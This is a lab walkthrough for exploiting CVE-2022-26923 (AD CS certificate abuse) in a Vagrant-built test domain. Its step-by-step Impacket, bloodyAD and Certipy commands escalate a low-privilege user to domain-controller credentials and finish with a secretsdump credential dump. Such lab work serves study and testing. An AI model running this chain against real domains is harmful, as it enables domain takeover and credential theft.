
Exploitation for CVE-2022-26923
CVE-2022-26923 is a vulnerability in Active Directory Certificate Services (AD CS) that allows an attacker to escalate privileges by misusing certificate-based authentication. This guide outlines the steps to exploit this vulnerability using Impacket and Certipy.
| Virtual Machine | Username | Password |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
First, clone the repository containing the necessary files:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
The repository contains two folders, each with a Vagrantfile for provisioning virtual machines. You must install Vagrant on your host machine before proceeding.
Download and install Vagrant from here. Or install using PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
Navigate to the WindowsServer2022 directory:
cd WindowsServer2022
vagrant up
This will download and set up the Windows Server 2022 VM in VirtualBox.
Navigate to the Kali-LinuxVM directory:
cd Kali-LinuxVM
vagrant up
Since the exploit requires a NAT network, configure VirtualBox as follows:
Before running the command below, ensure VBoxManage is added to your environment variables. If not, execute the command using its full path:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
If VBoxManage is not recognized, use:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Make sure to check both VMs in VirtualBox and ensure they are assigned to the network adapter NatNetwork - NatNet1.
Before proceeding, ensure both the Windows Server 2022 and Kali Linux VM are turned on.
Access the Kali Linux VM to start the attack.
Update your /etc/hosts file to map the domain controller's IP:
sudo nano /etc/hosts
Add the following entry:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Save and exit.
Navigate to the CVE-26923 directory and activate the Python virtual environment:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
Using Impacket's addcomputer utility:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Check domain computers:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Navigate to the bloodyAD directory and use bloodyAD.py to add PCTEST1 to the domain:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Verify that PCTEST1 has been assigned to the domain:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Use Certipy to find vulnerable certificates:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Request a machine certificate using Certipy:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
Authenticate using the obtained certificate:
certipy auth -pfx server2022.pfx
After running the certipy auth command, two hashes will be displayed. The right-side hash will be used for NTLM authentication.
Example hash output:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Use the extracted NTLM hash for dumping credentials:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
This completes the full attack chain for exploiting CVE-2022-26923.